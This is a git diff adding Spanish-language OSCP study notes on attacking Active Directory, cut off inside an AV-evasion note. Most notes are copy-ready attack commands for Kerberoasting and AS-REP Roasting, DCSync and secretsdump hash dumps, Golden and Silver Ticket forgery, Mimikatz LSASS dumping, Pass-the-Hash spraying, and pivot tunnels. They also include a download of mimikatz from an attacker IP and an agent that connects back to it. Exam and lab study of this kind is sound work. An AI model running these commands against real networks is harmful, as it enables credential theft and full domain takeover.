||||
GenericWrite → modificar atributos (ej. añadir SPN → Kerberoasting dirigido)
|
||||
```
|
||||
|
||||
## Explotación típica (con bloodyAD / PowerView / impacket)
|
||||
```bash
|
||||
# ForceChangePassword:
|
||||
net rpc password "victima" "NuevaPass123!" -U "dominio/yo%mipass" -S DC_IP
|
||||
# AddMember a un grupo:
|
||||
bloodyAD -d corp.local -u yo -p pass --host DC add groupMember "Domain Admins" yo
|
||||
```
|
||||
|
||||
## Encadenado
|
||||
Una arista lleva a otra → BloodHound calcula el **camino** hasta Domain Admins → puede acabar en DCSync.
|
||||
|
||||
Relacionado: BloodHound · LAPS · OSCP MOC
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# AS-REP Roasting
|
||||
|
||||
> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.
|
||||
|
||||
## Ataque
|
||||
```bash
|
||||
# con lista de usuarios (sesión nula / enum previa con SMB):
|
||||
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
|
||||
# con credenciales (enumera y pide a la vez):
|
||||
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
|
||||
```
|
||||
|
||||
## Crackeo offline
|
||||
```bash
|
||||
hashcat -m 18200 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
## Diferencia con Kerberoasting
|
||||
- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
|
||||
- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.
|
||||
|
||||
Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Active Directory (índice)
|
||||
|
||||
> El **set de AD = 40 puntos** del examen (3 máquinas encadenadas). Ver Estructura del examen.
|
||||
> Idea clave: tu Kali no tiene GUI central; cada tool (Impacket, Mimikatz, BloodHound) habla por red con la víctima. Ver Puesto de mando Kali.
|
||||
|
||||
## La cadena de ataque típica
|
||||
```
|
||||
1) RCE en web → Reverse shell en USER1
|
||||
2) PEASS-ng → privesc → SYSTEM en USER1 (Privesc Windows / Potato attacks)
|
||||
3) Mimikatz → hash NTLM de un usuario de dominio
|
||||
4) BloodHound → ¿camino a Domain Admin?
|
||||
5) Pass-the-Hash / Impacket → shell en SERVER2 (Movimiento lateral)
|
||||
6) si SERVER2 = DC → secretsdump → toda la BD del dominio
|
||||
7) hash de krbtgt → Golden Ticket → dios
|
||||
```
|
||||
|
||||
## Los 7 caminos que SIEMPRE pruebas
|
||||
1. **Anonymous SMB** → SMB (`smbclient -L //IP -N`, `nxc smb IP -u "" -p ""`)
|
||||
2. **AS-REP Roasting** → AS-REP Roasting
|
||||
3. **Kerberoasting** → Kerberoasting
|
||||
4. **GPP cpassword** → GPP cpassword
|
||||
5. **LAPS** → LAPS
|
||||
6. **ACL abuses** → ACL abuses (te los pinta BloodHound)
|
||||
7. **DCSync** → DCSync
|
||||
|
||||
## Conceptos
|
||||
- Kerberos (TGT/TGS) · Pass-the-Hash · Golden Ticket · Silver Ticket
|
||||
- Crackear los tickets → Cracking de contraseñas
|
||||
- Entrar a la red interna → Pivoting ligolo-ng / Tunneling
|
||||
|
||||
## Herramientas
|
||||
NetExec/CrackMapExec, BloodHound, Rubeus, Kerbrute, Responder, Evil-WinRM, Impacket → Herramientas (índice).
|
||||
|
||||
Relacionado: OSCP MOC
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
# BloodHound
|
||||
|
||||
> Dibuja Active Directory **como un grafo**: nodos = usuarios/grupos/máquinas, aristas = relaciones. Le preguntas "¿camino más corto de juan a Domain Admins?" y te lo pinta. La única tool con GUI propia.
|
||||
|
||||
## Componentes
|
||||
```
|
||||
SharpHound (.exe en víctima) o bloodhound-python (en Kali) → JSON
|
||||
JSON → BloodHound GUI (en Kali) + Neo4j (la BD del grafo)
|
||||
```
|
||||
|
||||
## Instalación (Debian)
|
||||
```bash
|
||||
sudo apt install -y bloodhound bloodhound.py neo4j
|
||||
sudo systemctl start neo4j
|
||||
sudo neo4j-admin set-initial-password 'BloodHound1!'
|
||||
```
|
||||
|
||||
## Workflow
|
||||
```bash
|
||||
# 1) recolectar desde Kali (necesitas creds válidas)
|
||||
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
|
||||
# 2) lanzar GUI y arrastrar los .json
|
||||
bloodhound # login neo4j / BloodHound1!
|
||||
```
|
||||
|
||||
## Queries que importan
|
||||
- **Find Shortest Paths to Domain Admins**
|
||||
- **Find Kerberoastable Accounts** → Kerberoasting
|
||||
- **Find AS-REP Roastable Users** → AS-REP Roasting
|
||||
- Aristas peligrosas (`GenericAll`, `WriteDACL`, `ForceChangePassword`) → ACL abuses
|
||||
|
||||
Relacionado: Mimikatz · Movimiento lateral · OSCP MOC
|
||||
22
nucleo/saber/conocimiento/05 - Active Directory/DCSync.md
Normal file
22
nucleo/saber/conocimiento/05 - Active Directory/DCSync.md
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
# DCSync
|
||||
|
||||
> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.
|
||||
|
||||
## Cómo se llega
|
||||
- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
|
||||
- O un ACL abuses que te conceda esos derechos.
|
||||
|
||||
## Ataque
|
||||
```bash
|
||||
impacket-secretsdump dominio/usuario:password@DC_IP # → ver secretsdump
|
||||
```
|
||||
```
|
||||
# o desde mimikatz en una máquina del dominio:
|
||||
lsadump::dcsync /user:Administrator
|
||||
lsadump::dcsync /user:krbtgt # ← el premio gordo
|
||||
```
|
||||
|
||||
## Por qué importa
|
||||
El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.
|
||||
|
||||
Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
# GPP cpassword
|
||||
|
||||
> Group Policy Preferences que guardaban contraseñas cifradas con una **clave AES pública y fija** (Microsoft la publicó). Trivial de descifrar. Uno de los 7 caminos de Active Directory.
|
||||
|
||||
## Dónde buscar
|
||||
```
|
||||
\\DC\SYSVOL\<dominio>\Policies\...\Groups.xml
|
||||
```
|
||||
Busca el atributo `cpassword` en `Groups.xml` (también en `Services.xml`, `ScheduledTasks.xml`, `Datasources.xml`).
|
||||
|
||||
## Descifrar
|
||||
```bash
|
||||
gpp-decrypt 'CPASSWORD_AQUI'
|
||||
```
|
||||
- Accedes a SYSVOL vía SMB (a menudo con sesión nula o cualquier user de dominio).
|
||||
|
||||
## Resultado
|
||||
Credenciales en claro → Movimiento lateral / Pass-the-Hash.
|
||||
|
||||
Relacionado: SMB · OSCP MOC
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Golden Ticket
|
||||
|
||||
> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.
|
||||
|
||||
## Requisito
|
||||
Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.
|
||||
|
||||
## Forjar
|
||||
```bash
|
||||
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
|
||||
```
|
||||
```
|
||||
# mimikatz equivalente:
|
||||
kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
|
||||
```
|
||||
|
||||
## Concepto
|
||||
krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.
|
||||
|
||||
Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC
|
||||
26
nucleo/saber/conocimiento/05 - Active Directory/Impacket.md
Normal file
26
nucleo/saber/conocimiento/05 - Active Directory/Impacket.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Impacket
|
||||
|
||||
> Suite **Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin ser Windows. Es como tener un "Windows hablante" en Kali.
|
||||
|
||||
## Los más útiles
|
||||
```
|
||||
impacket-psexec → shell en la víctima si tienes creds (estilo PsExec)
|
||||
impacket-wmiexec → ejecutar comandos sin tocar disco
|
||||
impacket-smbexec → otra ejecución remota
|
||||
impacket-secretsdump → vuelca NTDS.dit y SAM de un DC en remoto → secretsdump
|
||||
impacket-GetUserSPNs → Kerberoasting
|
||||
impacket-GetNPUsers → AS-REP Roasting
|
||||
impacket-getTGT → pide/forja un TGT con cred conocida
|
||||
impacket-getST → pide un service ticket
|
||||
impacket-smbserver → share SMB falso para exfiltrar a Kali (Transferencia de ficheros)
|
||||
impacket-ntlmrelayx → relay NTLM
|
||||
impacket-ticketer → forja tickets → Golden Ticket
|
||||
```
|
||||
|
||||
## Lateral con hash (sin reverse shell nueva)
|
||||
```bash
|
||||
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
|
||||
```
|
||||
Shell SYSTEM en otra máquina, autenticado y limpio → Pass-the-Hash, Movimiento lateral.
|
||||
|
||||
Relacionado: Mimikatz · Active Directory · OSCP MOC
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Kerberoasting
|
||||
|
||||
> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
|
||||
|
||||
## Requisito
|
||||
Cualquier credencial **válida** de dominio (un user cualquiera).
|
||||
|
||||
## Ataque
|
||||
```bash
|
||||
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
|
||||
# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
|
||||
```
|
||||
|
||||
## Crackeo offline
|
||||
```bash
|
||||
hashcat -m 13100 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
## Por qué funciona
|
||||
El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
|
||||
|
||||
Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC
|
||||
25
nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md
Normal file
25
nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
# Kerberos
|
||||
|
||||
> El protocolo de autenticación de Active Directory. Entender TGT vs TGS desbloquea media AD.
|
||||
|
||||
## En 30 segundos
|
||||
```
|
||||
Usuario --(¿pwd?)--> KDC (Domain Controller)
|
||||
Usuario <--(TGT: "carnet maestro")-- KDC
|
||||
Usuario --(TGT + "quiero \\fileSrv")--> KDC
|
||||
Usuario <--(TGS: ticket para fileSrv)-- KDC
|
||||
Usuario --(TGS)--> fileServer "este ticket prueba que soy yo"
|
||||
```
|
||||
|
||||
## Conceptos
|
||||
- **TGT** = carnet maestro del KDC. Lo guarda el cliente.
|
||||
- **TGS** = ticket de un servicio concreto.
|
||||
- **krbtgt** = la cuenta que **firma TODOS los TGT**.
|
||||
|
||||
## Por qué importa (los ataques)
|
||||
- Reutilizar un TGT/TGS válido = **pass-the-ticket**.
|
||||
- Pedir TGS de cuentas con SPN sin tenerlas = Kerberoasting.
|
||||
- Usuarios sin pre-auth = AS-REP Roasting.
|
||||
- Hash de **krbtgt** = forjar Golden Ticket (ser cualquiera, para siempre).
|
||||
|
||||
Relacionado: Impacket · Mimikatz · OSCP MOC
|
||||
19
nucleo/saber/conocimiento/05 - Active Directory/LAPS.md
Normal file
19
nucleo/saber/conocimiento/05 - Active Directory/LAPS.md
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
# LAPS
|
||||
|
||||
> Local Administrator Password Solution: rota la pass del admin local y la guarda en un atributo del objeto-equipo en AD. Si tu usuario **puede leer ese atributo**, tienes el admin local. Camino de Active Directory.
|
||||
|
||||
## Leer la password
|
||||
```bash
|
||||
nxc ldap IP -u usuario -p password --module laps
|
||||
# o:
|
||||
nxc ldap IP -u usuario -p password -M laps
|
||||
```
|
||||
- El atributo es `ms-Mcs-AdmPwd` (LAPS v1).
|
||||
|
||||
## Cómo saber quién puede leerlo
|
||||
BloodHound muestra `ReadLAPSPassword` como arista → relacionado con ACL abuses.
|
||||
|
||||
## Resultado
|
||||
Password de admin local de esa máquina → Movimiento lateral / RDP.
|
||||
|
||||
Relacionado: BloodHound · OSCP MOC
|
||||
26
nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md
Normal file
26
nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Mimikatz
|
||||
|
||||
> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.
|
||||
|
||||
## Subir y ejecutar
|
||||
```powershell
|
||||
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe # Transferencia de ficheros
|
||||
C:\Windows\Temp\m.exe
|
||||
```
|
||||
|
||||
## Comandos clave (dentro de mimikatz)
|
||||
```
|
||||
privilege::debug # imprescindible primero
|
||||
sekurlsa::logonpasswords # hashes NTLM, tickets, a veces pass en claro (wdigest)
|
||||
lsadump::sam # SAM local
|
||||
lsadump::dcsync /user:Administrator # DCSync (si tienes permisos de replicación)
|
||||
```
|
||||
|
||||
## Requisito
|
||||
Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).
|
||||
|
||||
## Después
|
||||
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
|
||||
- Pregúntale a BloodHound qué hacer con ese usuario.
|
||||
|
||||
Relacionado: Kerberos · secretsdump · OSCP MOC
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# Movimiento lateral
|
||||
|
||||
> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
|
||||
|
||||
## Con qué saltas
|
||||
```bash
|
||||
impacket-psexec dominio/user:pass@10.10.10.20 # shell SYSTEM
|
||||
impacket-wmiexec dominio/user:pass@10.10.10.20 # sin tocar disco
|
||||
impacket-psexec -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
|
||||
nxc smb 10.10.10.0/24 -u user -p pass # ¿dónde valen estas creds?
|
||||
xfreerdp /u:user /p:pass /v:10.10.10.20 # RDP si hay GUI
|
||||
evil-winrm -i 10.10.10.20 -u user -p pass # WinRM (5985)
|
||||
```
|
||||
|
||||
## Regla clave
|
||||
**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).
|
||||
|
||||
## Decidir a dónde
|
||||
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
|
||||
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
|
||||
- Red interna no enrutable → Pivoting ligolo-ng.
|
||||
|
||||
Relacionado: Impacket · Mimikatz · OSCP MOC
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Pass-the-Hash
|
||||
|
||||
> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
|
||||
|
||||
## De dónde sale el hash
|
||||
- Mimikatz `sekurlsa::logonpasswords`
|
||||
- secretsdump (SAM/NTDS)
|
||||
- `lsadump::sam`
|
||||
|
||||
## Uso
|
||||
```bash
|
||||
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20' # → SYSTEM
|
||||
impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
|
||||
nxc smb 10.10.10.0/24 -u admin -H NTLMHASH # spray del hash por la red
|
||||
```
|
||||
|
||||
## Combos
|
||||
- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
|
||||
- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
|
||||
- Hash de krbtgt → ya no es PtH, es Golden Ticket.
|
||||
|
||||
Relacionado: Impacket · Movimiento lateral · OSCP MOC
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
# Pivoting (ligolo-ng)
|
||||
|
||||
> Entrar en una **red interna** no enrutable desde Kali, a través de una máquina comprometida. En `tu carpeta`.
|
||||
|
||||
## El concepto
|
||||
```
|
||||
KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
|
||||
```
|
||||
- **proxy** corre en Kali, **agent** en la víctima.
|
||||
- Añades una ruta y las tools tiran por el túnel **transparentemente**.
|
||||
|
||||
## Montaje
|
||||
```bash
|
||||
# Kali (proxy):
|
||||
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
|
||||
./proxy -selfcert
|
||||
# Víctima (agent):
|
||||
./agent -connect TU_IP:11601 -ignore-cert
|
||||
# En la consola de ligolo: session → start ; luego en Kali:
|
||||
sudo ip route add 192.168.5.0/24 dev ligolo
|
||||
```
|
||||
|
||||
## Resultado
|
||||
```bash
|
||||
impacket-psexec admin@192.168.5.10 # el tráfico va por el túnel, transparente
|
||||
```
|
||||
Ahora Movimiento lateral y Active Directory funcionan contra la red interna.
|
||||
|
||||
Relacionado: Puesto de mando Kali · OSCP MOC
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Silver Ticket
|
||||
|
||||
> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.
|
||||
|
||||
## Golden vs Silver
|
||||
```
|
||||
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
|
||||
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
|
||||
```
|
||||
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
|
||||
|
||||
## Forjar
|
||||
```bash
|
||||
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
|
||||
-domain corp.local -spn cifs/server.corp.local Administrator
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
|
||||
```
|
||||
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
|
||||
- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).
|
||||
|
||||
Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# secretsdump (NTDS.dit / SAM)
|
||||
|
||||
> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.
|
||||
|
||||
## Remoto contra un DC
|
||||
```bash
|
||||
impacket-secretsdump dominio/usuario:password@DC_IP
|
||||
impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP # con Pass-the-Hash
|
||||
```
|
||||
Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.
|
||||
|
||||
## Offline (ficheros exfiltrados)
|
||||
```bash
|
||||
# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
|
||||
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
|
||||
```
|
||||
|
||||
## SAM local de una máquina
|
||||
```bash
|
||||
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
|
||||
```
|
||||
|
||||
## Cómo se obtienen permisos
|
||||
- Ser admin del DC, o derechos de replicación → DCSync.
|
||||
|
||||
Relacionado: Mimikatz · Active Directory · OSCP MOC
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
# Bucles bash sobre IPs
|
||||
|
||||
> Lo que ahorra horas: enumerar **toda la red** de golpe a partir de la salida greppable de Nmap. Usa Operadores Bash.
|
||||
|
||||
## Ping sweep (descubrir hosts sin nmap)
|
||||
```bash
|
||||
for i in $(seq 1 254); do ping -c1 -W1 10.11.1.$i >/dev/null && echo "10.11.1.$i UP"; done
|
||||
```
|
||||
```cmd
|
||||
for /L %i in (1,1,254) do @ping -n 1 -w 200 10.5.5.%i >nul && echo 10.5.5.%i up
|
||||
```
|
||||
(PowerShell rápido → Port scanner PowerShell). Útil tras un foothold para mapear la red interna antes de Tunneling.
|
||||
|
||||
## Filtrar resultados de nmap (greppable)
|
||||
```bash
|
||||
grep "445/open" smb.txt | cut -d' ' -f2 # IPs con ese puerto
|
||||
grep -c "445/open" smb.txt # cuántos hosts lo tienen
|
||||
grep "Status: Up" scan.gnmap | cut -d' ' -f2 # hosts vivos
|
||||
```
|
||||
|
||||
## Bucle sobre IPs (anatomía)
|
||||
```bash
|
||||
for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do
|
||||
echo "=== $ip ==="
|
||||
enum4linux -a $ip < /dev/null 2>/dev/null | grep -i alfred
|
||||
done
|
||||
```
|
||||
- `< /dev/null` → evita que se cuelgue en prompts `Password:`.
|
||||
- Si falta `done`, bash se queda en `for>` (Ctrl+C).
|
||||
|
||||
## Enumerar SMB de todos y luego grep
|
||||
```bash
|
||||
for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do enum4linux -a $ip < /dev/null > enum_$ip.txt 2>&1; done
|
||||
grep -l "alfred" enum_*.txt # en QUÉ host está el usuario
|
||||
grep -iE 'remark|flag|OS\{' enum_HOST.txt # flag en comentarios de shares
|
||||
```
|
||||
|
||||
## Flags en comentarios de shares de toda la red
|
||||
```bash
|
||||
for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do echo "=== $ip ==="; rpcclient -U "" -N $ip -c "netshareenumall" 2>/dev/null | grep -i "flag\|OS{"; done
|
||||
```
|
||||
|
||||
Relacionado: SMB · Enumeración · OSCP MOC
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
# Operadores Bash
|
||||
|
||||
> Lo primero que hay que tener claro para encadenar comandos en Kali. Base de Bucles bash sobre IPs.
|
||||
|
||||
```
|
||||
| tubería: salida de uno → entrada del siguiente grep open f | wc -l
|
||||
> redirige salida (SOBREESCRIBE) nmap ... > out.txt
|
||||
>> redirige AÑADIENDO al final echo nota >> log.txt
|
||||
< redirige ENTRADA desde fichero enum4linux -a IP < /dev/null
|
||||
2> redirige ERRORES (stderr) cmd 2>/dev/null
|
||||
2>&1 junta errores con salida normal cmd > todo.txt 2>&1
|
||||
; secuencia (uno tras otro, pase lo que pase) cd /tmp; ls; pwd
|
||||
&& AND: el 2º solo si el 1º tuvo ÉXITO mkdir loot && cd loot
|
||||
|| OR: el 2º solo si el 1º FALLÓ ping -c1 IP || echo caido
|
||||
& segundo plano (background) nmap -p- IP &
|
||||
$( ) sustitución de comando for ip in $(grep ...)
|
||||
* comodín enum_*.txt
|
||||
```
|
||||
|
||||
## grep útiles
|
||||
```
|
||||
grep -v invertir (excluir) grep -i ignorar mayus/minus
|
||||
grep -r recursivo grep -l solo nombre del fichero
|
||||
grep -c contar coincidencias
|
||||
```
|
||||
|
||||
- `< /dev/null` evita que un comando se cuelgue pidiendo `Password:` (clave en bucles).
|
||||
|
||||
Relacionado: Operadores PowerShell · Bucles bash sobre IPs · OSCP MOC
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
# Operadores PowerShell
|
||||
|
||||
> Para cuando trabajas **dentro** de la víctima Windows. Base de Port scanner PowerShell.
|
||||
|
||||
```
|
||||
| tubería (igual que bash) Get-Process | Where-Object {...}
|
||||
% alias de ForEach-Object 1..200 | % { ... }
|
||||
$_ el elemento actual del bucle 1..10 | % { "puerto $_" }
|
||||
-and -or -not (o !) lógicos
|
||||
-eq -ne igual / distinto ($x -eq 5)
|
||||
-lt -gt -le -ge menor/mayor (-igual) ($port -lt 1000)
|
||||
> redirige a fichero
|
||||
2>$null silenciar errores (= 2>/dev/null)
|
||||
Out-Null tirar salida no deseada $c.Connect(..) | Out-Null
|
||||
` backtick = continuar en línea siguiente (como \ en bash)
|
||||
; separar comandos en una línea
|
||||
```
|
||||
|
||||
## Trampas
|
||||
- `"$_ABIERTO"` se lee como variable `_ABIERTO` (vacía). **Pon espacio**: `"$_ ABIERTO"`.
|
||||
- Silenciar TODO al inicio de un script:
|
||||
```powershell
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$WarningPreference = "SilentlyContinue"
|
||||
```
|
||||
Por comando: `-ea 0` (ErrorAction) · `-wa 0` (WarningAction).
|
||||
- Correr un `.ps1` bloqueado: `powershell -ep bypass -File .\script.ps1`.
|
||||
|
||||
Relacionado: Operadores Bash · Port scanner PowerShell · OSCP MOC
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# Port scanner en PowerShell
|
||||
|
||||
> Escanear puertos **desde la víctima Windows sin nmap** (útil tras un foothold para mirar la red interna, antes de montar Pivoting ligolo-ng). Usa Operadores PowerShell.
|
||||
|
||||
## Con timeout (NO se cuelga)
|
||||
```powershell
|
||||
1..200 | % { $c=New-Object Net.Sockets.TcpClient; $r=$c.BeginConnect("IP",$_,$null,$null); if($r.AsyncWaitHandle.WaitOne(300) -and $c.Connected){"Puerto $_ ABIERTO"}; $c.Close() }
|
||||
```
|
||||
|
||||
## Solo puertos concretos (instantáneo)
|
||||
```powershell
|
||||
53,88,135,139,445 | % { $c=New-Object Net.Sockets.TcpClient; $r=$c.BeginConnect("IP",$_,$null,$null); if($r.AsyncWaitHandle.WaitOne(300) -and $c.Connected){"$_ ABIERTO"}; $c.Close() }
|
||||
```
|
||||
|
||||
## Test rápido de un puerto
|
||||
```powershell
|
||||
Test-NetConnection IP -Port 53 -wa 0 -ea 0 # mira TcpTestSucceeded : True/False
|
||||
```
|
||||
|
||||
## La regla clave
|
||||
- `$c.Connect()` = **síncrono**, se cuelga ~21s en puertos filtrados.
|
||||
- `$c.BeginConnect()+WaitOne(ms)` = controlas el timeout, **NO se cuelga**.
|
||||
- Para líneas largas: `notepad scan.ps1` y `powershell -ep bypass -File .\scan.ps1`.
|
||||
|
||||
Relacionado: Nmap · Puertos olvidados · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Herramientas (índice)
|
||||
|
||||
> Arsenal de referencia. Fuente: oscp.trastero.org/tools + el resto del vault.
|
||||
|
||||
## En Kali (corren en tu atacante)
|
||||
| Tool | Para qué | Nota |
|
||||
|---|---|---|
|
||||
| Impacket | suite de protocolos Windows | Impacket |
|
||||
| NetExec / CrackMapExec | barrido y post-explotación AD | SMB, Pass-the-Hash |
|
||||
| BloodHound | grafo de AD | BloodHound |
|
||||
| Responder | envenena LLMNR/NBT-NS/MDNS → captura hashes | Client-side attacks |
|
||||
| Evil-WinRM | shell WinRM (5985) | Movimiento lateral |
|
||||
| ligolo-ng / chisel | pivoting/túnel | Pivoting ligolo-ng, Tunneling |
|
||||
| Kerbrute | enum de usuarios + spraying Kerberos | AS-REP Roasting |
|
||||
| Rubeus | operaciones con tickets Kerberos | Kerberoasting, Silver Ticket |
|
||||
| hashcat / john | cracking offline | Cracking de contraseñas |
|
||||
|
||||
## Las que SUBES a la víctima Windows
|
||||
| Tool | Para qué | Nota |
|
||||
|---|---|---|
|
||||
| winPEAS | enumeración de privesc | PEASS-ng |
|
||||
| PowerUp / PrivescCheck / Sherlock | privesc PowerShell | Privesc Windows |
|
||||
| mimikatz | volcar credenciales de LSASS | Mimikatz |
|
||||
| SysInternals (accesschk, PsExec) | permisos, ejecución | Privesc Windows |
|
||||
| Nishang | PowerShell ofensivo (shells) | Reverse shell |
|
||||
| Potato (God/Print/Juicy) | abuso de token → SYSTEM | Potato attacks |
|
||||
|
||||
## En la víctima Linux
|
||||
| Tool | Para qué | Nota |
|
||||
|---|---|---|
|
||||
| linPEAS / LinEnum / LES / lse | enumeración de privesc | Privesc Linux |
|
||||
| pspy | espía procesos/cron sin root | Privesc Linux |
|
||||
|
||||
Relacionado: searchsploit · Recursos públicos · OSCP MOC
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
# Recursos públicos
|
||||
|
||||
> Dónde está SÍ todo esto (cultura pública, nada bajo NDA). Apoyo para Metodología OSCP y el Reporte OSCP.
|
||||
|
||||
| Recurso | Por qué importa |
|
||||
|---|---|
|
||||
| **TJ Null's OSCP-like list** (Reddit) | Máquinas HTB/THM equivalentes a OSCP, actualizada |
|
||||
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista las máquinas) |
|
||||
| **0xdf.gitlab.io** | Writeups detalladísimos y pedagógicos |
|
||||
| **PayloadsAllTheThings** | Cheatsheet de todo lo web (SQL injection, LFI a RCE, uploads) |
|
||||
| **HackTricks** (book.hacktricks.xyz) | La biblia: lo busques lo que busques, está |
|
||||
| **GTFOBins / LOLBAS** | Privesc Linux y LOLBins Windows → GTFOBins y LOLBAS |
|
||||
| **/r/oscp** | Experiencias de examinados (sin spoilers) |
|
||||
| **Discords públicos**: HTB, TryHackMe, NetSecFocus | Comunidades que SÍ puedes consultar |
|
||||
| **noraj/OSCP-Exam-Report-Template-Markdown** | Plantilla del Reporte OSCP |
|
||||
|
||||
> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB). **No** es material bajo NDA de OffSec.
|
||||
|
||||
Relacionado: un laboratorio · OSCP MOC
|
||||
28
nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md
Normal file
28
nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# AV evasion
|
||||
|
||||
> Cuando hay antivirus y tu payload muere al tocar disco. Fuente: oscp.trastero.org/avevasion.
|
||||
|
||||
## PowerShell en memoria (no toca disco)
|
||||
```powershell
|
||||
